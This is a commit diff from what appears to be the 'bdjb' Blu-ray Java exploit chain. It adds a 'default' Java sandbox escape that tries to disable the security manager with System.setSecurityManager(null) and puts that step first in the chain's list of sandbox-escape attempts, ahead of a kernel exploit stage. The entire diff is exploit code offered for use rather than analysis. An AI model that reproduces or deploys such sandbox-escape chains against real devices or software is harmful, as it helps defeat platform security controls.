Add default sandbox exploit.

Makefile

@@ -15,6 +15,7 @@ CLASSES = \
 	$(SRC)/com/bdjb/JIT.java \
 	$(SRC)/com/bdjb/Screen.java \
 	$(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \
+	$(SRC)/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java \
 	$(SRC)/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java \
 	$(SRC)/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java \
 	$(SRC)/com/bdjb/exploit/sandbox/IxcProxyImpl.java \

src/com/bdjb/Exploit.java

@@ -8,6 +8,7 @@
 package com.bdjb;
 
 import com.bdjb.exploit.sandbox.ExploitSandboxInterface;
+import com.bdjb.exploit.sandbox.ExploitDefaultImpl;
 import com.bdjb.exploit.sandbox.ExploitUserPrefsImpl;
 import com.bdjb.exploit.sandbox.ExploitServiceProxyImpl;
 import com.bdjb.exploit.kernel.ExploitKernelInterface;
@@ -25,7 +26,9 @@ class Exploit implements Runnable {
     Screen.println("[*] Escaping Java Sandbox...");
 
     ExploitSandboxInterface[] exploits =
-        new ExploitSandboxInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()};
+        new ExploitSandboxInterface[] {
+          new ExploitDefaultImpl(), new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()
+        };
 
     for (int i = 0; i < exploits.length; i++) {
       try {

src/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java

@@ -0,0 +1,17 @@
+/*
+ * Copyright (C) 2021 Andy Nguyen
+ *
+ * This software may be modified and distributed under the terms
+ * of the MIT license.  See the LICENSE file for details.
+ */
+
+package com.bdjb.exploit.sandbox;
+
+/** Default exploit implementation. */
+public class ExploitDefaultImpl implements ExploitSandboxInterface {
+  public boolean trigger() throws Exception {
+    System.setSecurityManager(null);
+
+    return System.getSecurityManager() == null;
+  }
+}